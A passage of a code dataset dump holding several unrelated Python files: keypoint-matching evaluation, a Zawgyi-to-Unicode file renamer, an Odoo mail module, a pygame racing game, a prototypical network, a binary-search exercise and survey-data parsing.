bar:\n p1 = patch_pair[i][0].cpu().detach().numpy() # (32, 32)\n p2 = patch_pair[i][1].cpu().detach().numpy() # (32, 32)\n p_combi = np.concatenate((p1, p2), axis=1)\n cv2.imwrite(f\"{save}/image/sppair_{name}_{i}.png\", p_combi * 255)\n\n\ndef getAC(im1_ldes, im1_rdes):\n im1_distmat = distance_matrix_vector(im1_ldes, im1_rdes)\n row_minidx = im1_distmat.sort(dim=1)[1] # (topk, topk)\n topk = row_minidx.size(0)\n s = row_minidx[:, :5] # (topk, 5)\n flagim_index = s[:, 0].contiguous().view(-1) == torch.arange(topk).to(s.device)\n ac = flagim_index.float().mean()\n print('The first accuracy is',ac)\n return ac\n\n\ndef vis_descriptor_with_patches(endpoint, cfg, saveimg=False, imname=None):\n psize = cfg.PATCH.size\n save = cfg.TRAIN.SAVE\n\n def imarrange(imgs, topk):\n imgs = imgs.view(topk, -1, psize, psize)\n imgs = imgs.permute(0, 2, 1, 3).contiguous()\n imgs = imgs.view(topk * psize, -1)\n return imgs\n\n im1_ldes, im1_rdes = (\n endpoint[\"im1_ldes\"],\n endpoint[\"im1_rdes\"],\n ) # each is (topk, 128)\n im1_distmat = distance_matrix_vector(im1_ldes, im1_rdes)\n row_minidx = im1_distmat.sort(dim=1)[1] # (topk, topk)\n topk = row_minidx.size(0)\n sorted = row_minidx[:, :5] # (topk, 5)\n flagim_index = sorted[:, 0].contiguous().view(-1) == torch.arange(topk).to(\n sorted.device\n )\n ac = flagim_index.float().mean()\n if saveimg is True and imname is not None:\n # save image with batch op\n flagim_index = flagim_index.cpu().detach().numpy()\n im1_ppair = (endpoint[\"im1_ppair\"] * cfg.IMAGE.STD + cfg.IMAGE.MEAN) * 255\n im1_lpatch, im1_rpatch = im1_ppair.chunk(\n chunks=2, dim=1\n ) # each is (topk, 1, 32, 32)\n tim = cv2.cvtColor(\n cv2.resize(cv2.imread(\"./tools/t.jpg\"), (psize, psize)).astype(np.uint8),\n cv2.COLOR_RGB2GRAY,\n )\n fim = cv2.cvtColor(\n cv2.resize(cv2.imread(\"./tools/f.jpg\"), (psize, psize)).astype(np.uint8),\n cv2.COLOR_RGB2GRAY,\n )\n flagim = (\n torch.from_numpy(np.stack((fim, tim), axis=0)).float().to(sorted.device)\n )\n flagr = imarrange(flagim[flagim_index], topk) # (topk, 32, 32)\n anchor = imarrange(im1_lpatch.squeeze(), topk) # (topk, 32, 32)\n target = imarrange(im1_rpatch.squeeze(), topk) # (topk, 32, 32)\n sorted = sorted.contiguous().view(-1).cpu().detach().numpy()\n patches = imarrange(im1_rpatch[sorted].squeeze(), topk) # (topk*5, 32, 32)\n im1_result = torch.cat((anchor, target, flagr, patches), dim=1)\n imname = imname + f\"_ac{ac:05.2f}.png\"\n cv2.imwrite(f\"{save}/image/{imname}\", im1_result.cpu().detach().numpy())\n print('The second accuracy is',ac)\n return ac\n\n\ndef eval_model(model, parsed_batch, DES_THRSH, COO_THRSH):\n \"\"\"\n only support one bach size cause function ditance_matrix_vector\n \"\"\"\n im1_data, im1_info, homo12, im2_data, im2_info, homo21, im1_raw, im2_raw = (\n parsed_batch\n )\n\n # predict key points in each image and extract descripotor from each patch\n scale1, kp1, des1 = model.inference(im1_data, im1_info, im1_raw)\n scale2, kp2, des2 = model.inference(im2_data, im2_info, im2_raw)\n kp1w = ptCltoCr(kp1, homo12, scale2, right_imorint=None, clamp=False)[0]\n\n\n predict_label, nn_kp2 = nearest_neighbor_distance_ratio_match(des1, des2, kp2, 0.8)\n idx = predict_label.nonzero().view(-1)\n kp1 = kp1w\n mkp1 = kp1.index_select(dim=0, index=idx.long()) # predict match keypoints in I1\n mkp2 = nn_kp2.index_select(dim=0, index=idx.long()) # predict match keypoints in I2\n\n def to_cv2_kp(kp):\n # kp is like [batch_idx, y, x, channel]\n return cv2.KeyPoint(kp[2], kp[1], 0)\n\n def to_cv2_dmatch(m):\n return cv2.DMatch(m, m, m, m)\n\n # DMatch.distance \n # DMatch.trainIdx \n # DMatch.queryIdx \n # DMatch.imgIdx \n def reverse_img(img):\n \"\"\"\n reverse image from tensor to cv2 format\n :param img: tensor\n :return: RBG image\n \"\"\"\n img = img.permute(0, 2, 3, 1)[0].cpu().detach().numpy()\n img = (img * 255).astype(np.uint8) # change to opencv format\n img = cv2.cvtColor(img, cv2.COLOR_GRAY2RGB) # gray to rgb\n return img\n img1 = im1_data\n img2 = im2_data\n img1, img2 = reverse_img(img1), reverse_img(img2)\n keypoints1 = list(map(to_cv2_kp, mkp1))\n keypoints2 = list(map(to_cv2_kp, mkp2))\n DMatch = list(map(to_cv2_dmatch, np.arange(0, len(keypoints1))))\n\n # matches1to2\tMatches from the first image to the second one, which means that\n # keypoints1[i] has a corresponding point in keypoints2[matches[i]] .\n outImg = cv2.drawMatches(img1, keypoints1, img2, keypoints2, DMatch, None)\n # cv2.imwrite(\"outImg.png\", outImg)\n name = time.time()\n name = str(name)\n cv2.imwrite(name+'match.png',outImg)\n\n img_kps1 = np.copy(img1)\n img_kps1 = cv2.drawKeypoints(img1,keypoints1,img_kps1 ,flags = None)\n cv2.imwrite(\"img_kps3.png\", img_kps1)\n img_kps2 = np.copy(img2)\n img_kps2 = cv2.drawKeypoints(img2,keypoints2,img_kps2 ,flags = None)\n cv2.imwrite(\"img_kps4.png\", img_kps2)\n\n _, _, maxh, maxw = im2_data.size()\n visible = kp1w[:, 2].lt(maxw) * kp1w[:, 1].lt(maxh)\n\n TPNN, PNN = nearest_neighbor_match_score(des1, des2, kp1w, kp2, visible, COO_THRSH)\n TPNNT, PNNT = nearest_neighbor_threshold_match_score(\n des1, des2, kp1w, kp2, visible, DES_THRSH, COO_THRSH\n )\n TPNNDR, PNNDR = nearest_neighbor_distance_ratio_match_score(\n des1, des2, kp1w, kp2, visible, COO_THRSH\n )\n print('TPNN, PNN, TPNNT, PNNT, TPNNDR, PNNDR are as followings:')\n print(TPNN, PNN, TPNNT, PNNT, TPNNDR, PNNDR)\n return TPNN, PNN, TPNNT, PNNT, TPNNDR, PNNDR\n\n\ndef nearest_neighbor_match_score(des1, des2, kp1w, kp2, visible, COO_THRSH):\n des_dist_matrix = distance_matrix_vector(des1, des2)\n nn_value, nn_idx = des_dist_matrix.min(dim=-1)\n\n nn_kp2 = kp2.index_select(dim=0, index=nn_idx)\n\n coo_dist_matrix = pairwise_distances(\n kp1w[:, 1:3].float(), nn_kp2[:, 1:3].float()\n ).diag()\n correct_match_label = coo_dist_matrix.le(COO_THRSH) * visible\n\n correct_matches = correct_match_label.sum().item()\n predict_matches = max(visible.sum().item(), 1)\n\n return correct_matches, predict_matches\n\n\ndef nearest_neighbor_threshold_match_score(\n des1, des2, kp1w, kp2, visible, DES_THRSH, COO_THRSH\n):\n des_dist_matrix = distance_matrix_vector(des1, des2)\n nn_value, nn_idx = des_dist_matrix.min(dim=-1)\n predict_label = nn_value.lt(DES_THRSH) * visible\n\n nn_kp2 = kp2.index_select(dim=0, index=nn_idx)\n\n coo_dist_matrix = pairwise_distances(\n kp1w[:, 1:3].float(), nn_kp2[:, 1:3].float()\n ).diag()\n correspondences_label = coo_dist_matrix.le(COO_THRSH) * visible\n\n correct_match_label = predict_label * correspondences_label\n\n correct_matches = correct_match_label.sum().item()\n predict_matches = max(predict_label.sum().item(), 1)\n\n return correct_matches, predict_matches\n\n\ndef threshold_match_score(des1, des2, kp1w, kp2, visible, DES_THRSH, COO_THRSH):\n des_dist_matrix = distance_matrix_vector(des1, des2)\n visible = visible.unsqueeze(-1).repeat(1, des_dist_matrix.size(1))\n predict_label = des_dist_matrix.lt(DES_THRSH) * visible\n\n coo_dist_matrix = pairwise_distances(kp1w[:, 1:3].float(), kp2[:, 1:3].float())\n correspondences_label = coo_dist_matrix.le(COO_THRSH) * visible\n\n correct_match_label = predict_label * correspondences_label\n\n correct_matches = correct_match_label.sum().item()\n predict_matches = max(predict_label.sum().item(), 1)\n correspond_matches = max(correspondences_label.sum().item(), 1)\n\n return correct_matches, predict_matches, correspond_matches\n\n\ndef nearest_neighbor_distance_ratio_match(des1, des2, kp2, threshold):\n des_dist_matrix = distance_matrix_vector(des1, des2)\n sorted, indices = des_dist_matrix.sort(dim=-1)\n Da, Db, Ia = sorted[:, 0], sorted[:, 1], indices[:, 0]\n DistRatio = Da / Db\n predict_label = DistRatio.lt(threshold)\n nn_kp2 = kp2.index_select(dim=0, index=Ia.view(-1))\n return predict_label, nn_kp2\n\n\ndef nearest_neighbor_distance_ratio_match_score(\n des1, des2, kp1w, kp2, visible, COO_THRSH, threshold=0.7\n):\n predict_label, nn_kp2 = nearest_neighbor_distance_ratio_match(\n des1, des2, kp2, threshold\n )\n\n predict_label = predict_label * visible\n\n coo_dist_matrix = pairwise_distances(\n kp1w[:, 1:3].float(), nn_kp2[:, 1:3].float()\n ).diag()\n correspondences_label = coo_dist_matrix.le(COO_THRSH) * visible\n\n correct_match_label = predict_label * correspondences_label\n\n correct_matches = correct_match_label.sum().item()\n predict_matches = max(predict_label.sum().item(), 1)\n\n return correct_matches, predict_matches\n","sub_path":"rfnet/utils/eval_utils.py","file_name":"eval_utils.py","file_ext":"py","file_size_in_byte":9558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"556375896","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport Rabbit\n\n#Change your prefer directory\nrootdir = '/Users/myatminsoe/Desktop/Converter Test'\n\ni = 0\nfor subdir, dirs, files in os.walk(rootdir):\n for file in files:\n oldFilename = unicode(os.path.join(subdir, file), \"utf-8\")\n os.rename(oldFilename, Rabbit.zg2uni(oldFilename))\n i += 1\n print(\"{i} files converted\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"368740726","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, api\n\nclass OfComposeMail(models.TransientModel):\n _inherit = 'of.compose.mail'\n\n @api.model\n def _get_objects(self, o):\n result = super(OfComposeMail,self)._get_objects(o)\n parc = False\n if o._name == 'of.parc.installe':\n parc = o\n elif o._name == 'project.issue':\n parc = o.of_produit_installe_id\n\n if parc:\n result['parc_installe'] = parc\n result['address_pose'] = parc.site_adresse_id or parc.client_id\n\n return result\n\n @api.model\n def _get_dict_values(self, o, objects=None):\n if not objects:\n objects = self._get_objects(o)\n result = super(OfComposeMail,self)._get_dict_values(o, objects=objects)\n\n sav = objects.get('sav')\n parc = objects.get('parc_installe')\n result.update({\n 'pi_produit_installe': parc and parc.name or '',\n 'pi_name' : parc and parc.name or '',\n 'pi_product_name' : sav and sav.product_name_id and sav.product_name_id.name_get()[0][1] or '',\n })\n return result\n","sub_path":"of_parc_installe/wizard/compose_mail.py","file_name":"compose_mail.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"107296116","text":"import runWorld as rw\nimport drawWorld as dw\nimport pygame as pg\n\n################################################################\n\n# This program is an interactive simulation/game. A car starts\n# to move up the screen. The speed of the car is increased\n# on each \"key down\" event.\n#\n# The state of the car is represented by a tuple\n# (ypos, Yvelo, Yaccel, gear, RPM).\n# The first element, Ypos, represents the y-coordinate of the car.\n# The second element, Yvelo, represents the amount that the\n# speed changes on each iteration of the simulation loop.\n#\n# The initial state of the car in this program is given at the\n# bottom of the file.\n#\n# Pressing the \"w\" key down while this simulation run updates the car state\n# by leaving pos unchanged but increasing Yvelo increases the speed of the\n# car. Pressing \"r\" shifts the gear up 1. Different gears have different\n# accelerations, and different RPM. n.b. that the acceleration is a function\n# of both the gear and the RPM. Higher RPM produces more torque, and hence\n# the acceleration increases as the RPM approaches 1.\n#\n# The simulations ends when the car is allowed to reach the top\n# edge of screen indicating that they have beat/won the game. Alternatively\n# if the RPM reaches 1, the car redlines and the game terminates.\n\n################################################################\n\n# Initialize world\nname = \"Drag Race. Beat the clock!\"\nwidth = 600\nheight = 600\nrw.newDisplay(width, height, name)\n\n################################################################\n\n# Display the state by drawing a car at that x coordinate\n# the tach image is a blue bar. Bar moves up and down to simulate a\n# a tachometer (RPM indicator).\n#the gear indicators are .bmps that appear when their gear is active.\nmyimage = dw.loadImage(\"car.bmp\")\ntach = dw.loadImage(\"tach.bmp\")\ngear1 = dw.loadImage(\"gear1.bmp\")\ngear2 = dw.loadImage(\"gear2.bmp\")\ngear3 = dw.loadImage(\"gear3.bmp\")\ngear4 = dw.loadImage(\"gear4.bmp\")\ngear5 = dw.loadImage(\"gear5.bmp\")\n\n\n# draw the car at the bottom of the screen and at the y\n# coordinate given by the first component of the state tuple\n\n# Display tweaks\nrpmrealistic = True\nrpmmax = 10000\nrpmmin = 2000\nspeedrealistic = True\n\n\ndef updateDisplay(state):\n # what you see on the screen at first\n dw.fill(dw.black)\n dw.draw(myimage, (500, 550-state.pos))\n # the tachometer will reach the top of the screen when RPM = 1\n dw.draw(tach, (50, 600 - 600*(state.rpm)))\n # indicators\n # if rpmrealistic = true, rpm will display as a function from rpmmin\n # to rpmmax.\n if rpmrealistic == True:\n RPM = 'RPM:' + str(round((rpmmax-rpmmin)*state.rpm+rpmmin, 0))\n else: RPM = 'RPM' + str (round (state.rpm, 2))\n time = ((pg.time.get_ticks()) / 1000)\n timelabel = 'Time:' + str(time)\n # if speedrealistic = true, speed will look like mph\n if speedrealistic == True:\n speed = 'speed:' + str(round((50*state.velo), 0))\n else:\n speed = 'speed:' + str(round ((state.velo), 2))\n instructions = 'W to go. R to shift. try not to stall!'\n #labels\n label1 = dw.makeLabel(RPM, 'impact', 40, (255, 255, 255))\n label2 = dw.makeLabel(timelabel, 'impact', 40, (255, 255, 255))\n label3 = dw.makeLabel(speed, 'impact', 40, (255, 255, 255))\n label4 = dw.makeLabel(instructions, 'impact', 20, (255, 255, 255))\n #label locations\n dw.draw(label1, (250, 420))\n dw.draw(label2, (250, 320))\n dw.draw(label3, (250, 220))\n dw.draw(label4, (250, 550))\n #these are the gear indicators\n if (state.gear == 1):\n dw.draw(gear1, (150, 500))\n elif (state.gear == 2):\n dw.draw(gear2, (150, 450))\n elif (state.gear == 3):\n dw.draw(gear3, (150, 400))\n elif (state.gear == 4):\n dw.draw(gear4, (150, 350))\n elif (state.gear == 5):\n dw.draw(gear5, (150, 300))\n\n################################################################\n\n# Change pos by delta-pos, leaving delta-pos unchanged\n# Note that pos is accessed as state[0], and delta-pos\n# as state[1]. Later on we'll see how to access state\n# components by name (as we saw with records in Idris).\n\n#these are the minimum speeds for each gearband n-1.\n#Tweak these to adjust gearbands\nspeed0 = .05\nspeed1 = .8\nspeed2 = 1.4\nspeed3 = 1.8\nspeed4 = 2.1\nspeed5 = 2.4\n\n#these are the initial acceleration base rates for each gear n.\n#tweak these to make the car accelerate faster or slower within\n#a given gear\naccel1 = .029\naccel2 = .025\naccel3 = .019\naccel4 = .015\naccel5 = .01\n\n\nclass Car:\n def __init__(self, pos, velo, accel, gear, rpm):\n self.pos = pos\n self.velo = velo\n self.accel = accel\n self.gear = gear\n self.rpm = rpm\n\ncooper = Car (0, 0, accel1, 1, 0)\n\n#stallamt is the minimum RPM. If you let your RPM get below this, the car\n# stops and shifts into first. A higher stallamt will make it easier to stall\nstallamt = .05\n\ndef updateState(state):\n #gear1\n if state.gear == 1:\n state.pos = state.pos + state.velo\n state.velo = state.velo\n state.accel = accel1 +.01*state.rpm\n state.rpm = .15 + (.66*(state.velo-speed0)/(1.3*(speed1-speed0)))\n #gear2 stallable\n elif state.gear == 2 and state.rpm > 0:\n state.pos = state.pos + state.velo\n state.accel = accel2 + .01*state.rpm\n state.rpm = .1 + (.66*(state.velo-speed1)/(1.3*(speed2-speed1)))\n #gear3 stallable\n elif state.gear == 3 and state.rpm > stallamt:\n state.pos = state.pos + state.velo\n state.velo = state.velo\n state.accel = accel3+.01*state.rpm\n state.rpm = .05 + (.66*(state.velo-speed2)/(1.3*(speed3-speed2)))\n #gear4 stallable\n elif state.gear == 4 and state.rpm > stallamt:\n state.pos = state.pos + state.velo\n state.velo = state.velo\n state.accel = accel4+.01*state.rpm\n state.rpm = (.66*(state.velo-speed3)/(1.3*(speed4-speed3)))\n #gear5 stallable\n elif state.gear == 5 and state.rpm > stallamt:\n state.pos = state.pos + state.velo\n state.velo = state.velo\n state.accel = accel5+.01*state.rpm\n state.rpm = (.66*(state.velo-speed4)/(1.3*(speed5-speed4)))\n elif (state.rpm < stallamt):\n state.velo = 0\n state.gear = 1\n return (state)\n\n #else gets called when the car stalls. Consider this the reset state.\n\n################################################################\n\n# Terminate the simulation when the x coord reaches the screen edge,\n# that is, when pos is greater than the screen width. Game also terminates\n#if the RPM hits max (car redlines). redline is a tweakable, but the\n#core rpm is calculated from 0 to 1. Car redlines at 1.\n\n# state -> bool\n\n\ndef endState(state):\n\n if (state.pos > height or state.pos < 0):\n return True\n if (state.rpm > 1):\n return True\n else:\n return False\n\n################################################################\n\n# We handle each event by printing (a serialized version of) it on the console\n# and by then responding to the event. If the event is not a \"key down\n# event\" we ignore it by just returning the current state unchanged. Otherwise\n# we return a new state, with pos the same as in the original state, but\n# delta-pos increased: if the car was moving up, we update delta-pos so that\n# it moves up faster, and vice versa. Each key down event changes the car's\n# speed. The game is to race the car to the top of the screen before\n# time runs out.\n#\n# state -> event -> state\n\n#tweak this to adjust key response. the first variable is the delay,\n# and the second variable says to send a repeated KEYDOWN event\n# after x miliseconds. Changing the second parameter will increase\n# or slow down the game. Changing the first will make the shift function\n# more or less sensitive. Having big problems with this sensitivity.\npg.key.set_repeat(60, 30)\n\n\ndef handleEvent(state, event):\n while True:\n for event in pg.event.get():\n if (event.type == pg.KEYDOWN):\n #this is the gas function. holding down w accelerates the car\n if(event.key == pg.K_w):\n newStateY = state.velo + state.accel\n state.velo = newStateY\n return (state)\n # this is the shift function. hitting r shifts the gear up 1\n # also, shifting decreases the speed slightly. Tweakable.\n if (event.key == pg.K_r):\n newGear = state.gear + 1\n # there are only 5 gears\n if newGear > 5:\n newGear = 5\n state.velo = state.velo-5*state.accel\n state.gear = newGear\n return(state)\n else:\n return (state)\n\n################################################################\n\n\n# The car starts at the bottom, moving up\n# states defined as follows:(Ypos, Yvelo, Yaccel, gear, RPM)\ninitState = Car (0, 0, accel1, 1, 0)\n\n# Run the simulation no faster than 60 frames per second\nframeRate = 60\n\n# Run the simulation!\nrw.runWorld(initState, updateDisplay, updateState, handleEvent,\n endState, frameRate)\n","sub_path":"simulation/RaceSim_oo.py","file_name":"RaceSim_oo.py","file_ext":"py","file_size_in_byte":9164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"84611680","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author: Treamy\n\n\nimport torch\nimport numpy as np\nfrom torch import nn\nfrom torch.nn import functional as F\n\n\n\ndef conv_block(in_csz, outcsz):\n model = nn.Sequential(\n nn.Conv2d(in_csz, outcsz, 3, padding=1),\n nn.BatchNorm2d(outcsz),\n nn.ReLU(),\n nn.MaxPool2d(2),\n )\n return model\n\nclass Flatten(nn.Module):\n def __init__(self):\n super(Flatten, self).__init__()\n\n def forward(self, x):\n return x.view(x.size(0), -1)\n\n\n\ndef embedding_map(ch_in=3, ch_hid=64, ch_out=64):\n embed = nn.Sequential(\n conv_block(ch_in, ch_hid),\n conv_block(ch_hid, ch_hid),\n conv_block(ch_hid, ch_hid),\n conv_block(ch_hid, ch_out),\n Flatten()\n )\n return embed\n\n\ndef pairwise_dist(x, y):\n assert x.dim()==2 and y.dim()==2\n mx, my = x.size(0), y.size(0)\n dim = x.size(1)\n assert dim == y.size(1)\n x = x.unsqueeze(1).expand((mx, my, dim))\n y = y.unsqueeze(0).expand((mx, my, dim))\n dist = torch.pow(x-y, 2).sum(2)\n return dist\n\n\n\nclass myProtoNet(nn.Module):\n def __init__(self, embedding, opt):\n super(myProtoNet, self).__init__()\n self.embedding = embedding\n self.opt = opt\n self.use_cuda = opt.use_cuda\n\n\n\n def loss(self, x, train=True):\n n_way = self.opt.n_way if train else self.opt.n_way_test\n k_spt = self.opt.k_spt\n k_qry = self.opt.k_qry\n\n xs, xq = 0, 0\n if len(x.shape) == 5:\n xs, xq = x[:, :k_spt, ], x[:, k_spt:, ]\n xs_shape = xs.shape\n xq_shape = xq.shape\n n_way = xs_shape[0]\n\n x = torch.cat(\n (xs.contiguous().view(-1, *xs_shape[-3:]), xq.contiguous().view(-1, *xq_shape[-3:]))\n , dim=0\n )\n\n x = x.cuda() if self.use_cuda else x\n\n y = torch.arange(n_way).view(n_way, 1, 1).expand(n_way, k_qry, 1)\n y = y.long()\n y = y.cuda() if self.use_cuda else y\n\n z = self.embedding(x)\n z_proto = z[:n_way*k_spt].view(n_way, k_spt, -1).mean(1)\n z_q = z[n_way*k_spt:]\n\n dist = pairwise_dist(z_q, z_proto)\n logits = F.log_softmax(-dist, 1).view(n_way, k_qry, n_way)\n loss = -logits.gather(dim=2, index=y).mean()\n\n y_hat = torch.argmax(logits, dim=2)\n acc = (y.squeeze()==y_hat).float().mean()\n\n del z, z_proto, z_q, dist, logits, y_hat, xs, xq\n return loss, acc.item()\n\n\ndef get_model(opt=None, ch_in=3, cuda=False):\n embedMap = embedding_map(ch_in)\n model = myProtoNet(embedMap, opt)\n if cuda:\n model.cuda()\n return model\n\n","sub_path":"omniglotPy/ProtoNet.py","file_name":"ProtoNet.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"397023170","text":"# 이 문제가 이분탐색이라고 생각한 이유\n# 1. 문제에서 '각 지점 사이의 거리의 최솟값' 이라는 부분\n# 2. 제한사항에서 터무니 없이 큰 범위가 있는 경우\n#\n# 최악의 경우\n# distance = 1,000,000,000\n# 바위 = 1개\n# n = 1 인 경우 바위의 각 지점 사이에 바위 갯수가 0개 이므로\n# 최악의 경우는 distance이다.\n# 따라서 end = distance\n# start = 1\n\ndistance = 25\nrocks = [2, 14, 11, 21, 17]\nn = 2\nstart = 1\nend = distance\ndef binarySearch(rocks, n, distance):\n answer = 0\n start, end = 0, distance\n\n rocks.sort() # 돌 정렬\n while start <= end:\n mid = (start + end) // 2 # 중간값을 구한다.\n del_stones = 0 # 제거한 돌을 카운트하기 위한 변수\n pre_stone = 0 # 기준이되는 돌(시작지점)\n for rock in rocks: # 징검다리를 돌면서\n if rock - pre_stone < mid: # 돌사이의 거리가 가정한 값보다 작으면 제거한다.\n del_stones += 1\n else: # 아니라면 그 돌을 새로운 기준으로 세운다.\n pre_stone = rock\n\n if del_stones > n: # 제거된 돌이 문제 조건 보다 크면 for문을 나온다\n break\n\n if del_stones > n: # 제거된 돌이 너무 많으면 가정한 값이 큰 것이므로 범위를 작은 쪽으로 줄인다.\n end = mid - 1\n else: # 반대라면 큰 쪽으로 줄인다.\n answer = mid\n start = mid + 1\n\n return answer\n","sub_path":"알고리즘 스터디/이분탐색/pgms징검다리.py","file_name":"pgms징검다리.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"289916957","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 18 17:23:36 2016\n\n@author: zz\n\"\"\"\n\nfrom CELM import CELM\nfrom util import *\n\ntrain_data, train_label, test_data, test_label = loadData(0.1)\nfeature_dim = train_data.shape[1]\nlabel_dim = train_label.shape[1]\n \ntrain_data = normalizeData(train_data)\ntest_data = normalizeData(test_data)\n\ncelm = CELM(feature_dim, int(feature_dim*10), label_dim, 'lite', 'c', train_data)\n\ncelm.trainModel(train_data, train_label)\n#celm.save(r\"D:\\workspace\\Data\\ELM\\weights\\celm\")\ncelm.testModel(test_data, test_label)","sub_path":"testCELM.py","file_name":"testCELM.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"268899158","text":"import sys\nsys.path.append('/home/aransena/survey_ws')\nimport surveyDataParse as sdp\n\nf = open('output.txt', 'w')\n\nroot = '/home/aransena/survey_ws/Survey Data/Results/Grouped By Number'\ntestGroups = sdp.parseFileNames(root)\ntestNames = [\"xbox_manual\", \"xbox_click\", \"xbox_fluid\", \"xbox_increment\", \"app_manual\", \"app_auto\"]\n\nfor currentTest in range(len(testNames)):\n\n\tnumTests = sdp.countParticipants(root)\n\n\tcollisions_dict=[]\n\tstage1Collisions_dict=[]\n\tstage2Collisions_dict=[]\n\tstage3Collisions_dict=[]\n\tstage1Time_dict=[]\n\tstage2Time_dict=[]\n\tstage3Time_dict=[]\n\tstage1AutoTime_dict=[]\n\tstage2AutoTime_dict=[]\n\tstage3AutoTime_dict=[]\n\ttotal_time_dict=[]\n\n\tfor i in range(420,420+numTests):\n\t\tcollisions_dict.append((str(i),-1))\n\t\tstage1Collisions_dict.append((str(i),-1))\n\t\tstage2Collisions_dict.append((str(i),-1))\n\t\tstage3Collisions_dict.append((str(i),-1))\n\t\tstage1Time_dict.append((str(i),-1))\n\t\tstage2Time_dict.append((str(i),-1))\n\t\tstage3Time_dict.append((str(i),-1))\n\t\tstage1AutoTime_dict.append((str(i),-1))\n\t\tstage2AutoTime_dict.append((str(i),-1))\n\t\tstage3AutoTime_dict.append((str(i),-1))\n\t\ttotal_time_dict.append((str(i),-1))\n\n\tcollisions_dict=dict(collisions_dict)\n\tstage1Collisions_dict=dict(stage1Collisions_dict)\n\tstage2Collisions_dict=dict(stage2Collisions_dict)\n\tstage3Collisions_dict=dict(stage3Collisions_dict)\n\tstage1Time_dict=dict(stage1Time_dict)\n\tstage2Time_dict=dict(stage2Time_dict)\n\tstage3Time_dict=dict(stage3Time_dict)\n\tstage1AutoTime_dict=dict(stage1AutoTime_dict)\n\tstage2AutoTime_dict=dict(stage2AutoTime_dict)\n\tstage3AutoTime_dict=dict(stage3AutoTime_dict)\n\ttotal_time_dict=dict(total_time_dict)\n\n\n\n\t#f = open(testNames[currentTest]+'_output.txt', 'w')\n\n\tf.write(testNames[currentTest]+\",\")\n\n\tfor i in range(numTests):\n\t\tf.write(str(420+i)+\",\")\n\n\tf.write(\"\\n\")\n\tx=0\n\n\t#for i in range(len(testNames)):\n\n\tfor testfile in testGroups[currentTest]:\n\t\tr = open(testfile,'r')\n\n\t\ttime_tot = 0\n\t\ttimeInAuto_tot=0\n\t\t\n\t\ttimeInAuto_s1=0\n\t\ttimeInAuto_s2=0\n\t\ttimeInAuto_s3=0\n\n\t\tcollisions = 0\n\t\tstage1Collisions = 0\n\t\tstage2Collisions = 0\n\t\tstage3Collisions = 0\n\t\tstage1Time = 0\n\t\tstage2Time = 0\n\t\tstage3Time = 0\n\n\t\tfor line in r:\n\t\t\tline = line[1:len(line)-3]\n\t\t\tline = line.split(\",\")\n\t\t\tline = map(float,line)\n\t\t\t\n\t\t\tcollisions = line[6]\n\t\t\tauto = line[7]\n\t\t\tstage = line[8]\n\n\t\t\ttime_tot = time_tot + 1\n\n\t\t\tif stage == 0:\n\t\t\t\tstage1Collisions = collisions\n\t\t\t\tstage1Time = time_tot\n\t\t\t\tif auto==1:\n\t\t\t\t\ttimeInAuto_s1=timeInAuto_s1+1\n\t\t\telif stage == 1:\n\t\t\t\tstage2Collisions = collisions - stage1Collisions\n\t\t\t\tstage2Time= time_tot - stage1Time\n\t\t\t\tif auto==1:\n\t\t\t\t\ttimeInAuto_s2=timeInAuto_s2+1\n\t\t\telse:\n\t\t\t\tstage3Collisions = collisions - stage2Collisions - stage1Collisions\n\t\t\t\tstage3Time = time_tot - stage1Time - stage2Time\n\t\t\t\tif auto==1:\n\t\t\t\t\ttimeInAuto_s3=timeInAuto_s3+1\n\n\n\t\ttestNum = str(sdp.getTestNum(testfile))\n\n\t\tcollisions_dict[testNum] = collisions\n\t\tstage1Collisions_dict[testNum] = stage1Collisions\n\t\tstage2Collisions_dict[testNum] = stage2Collisions\n\t\tstage3Collisions_dict[testNum] = stage3Collisions\n\t\tstage1Time_dict[testNum] = stage1Time\n\t\tstage2Time_dict[testNum] = stage2Time\n\t\tstage3Time_dict[testNum] = stage3Time\n\t\tstage1AutoTime_dict[testNum] = timeInAuto_s1\n\t\tstage2AutoTime_dict[testNum] = timeInAuto_s2\n\t\tstage3AutoTime_dict[testNum] = timeInAuto_s3\n\t\t\n\t\ttotal_time_dict[testNum] = time_tot\n\n\t\t# if x == 0:\n\t\t# \tprint \"testname\", testNames[i], \" testNum: \", sdp.getTestNum(testfile)\n\t\t# \tprint timeTot, stage1Time, stage2Time, stage3Time, stage1Time+stage2Time+stage3Time, collisions, stage1Collisions,stage2Collisions,stage3Collisions, stage1Collisions+stage2Collisions+stage3Collisions\n\t\t# \tx = x+1\n\n\t\tr.close()\n\n\tf.write(\"total time,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(total_time_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"stage 1 time,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(stage1Time_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"stage 2 time,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(stage2Time_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"stage 3 time,\")\n\tfor testNum in range(420,420+numTests):\n\t\ttestNum=str(testNum)\n\t\tf.write(str(stage3Time_dict[testNum])+\",\")\n\tf.write(\"\\n\")\n\n\tf.write(\"stage 1 auto time,\")\n\tfor testNum in 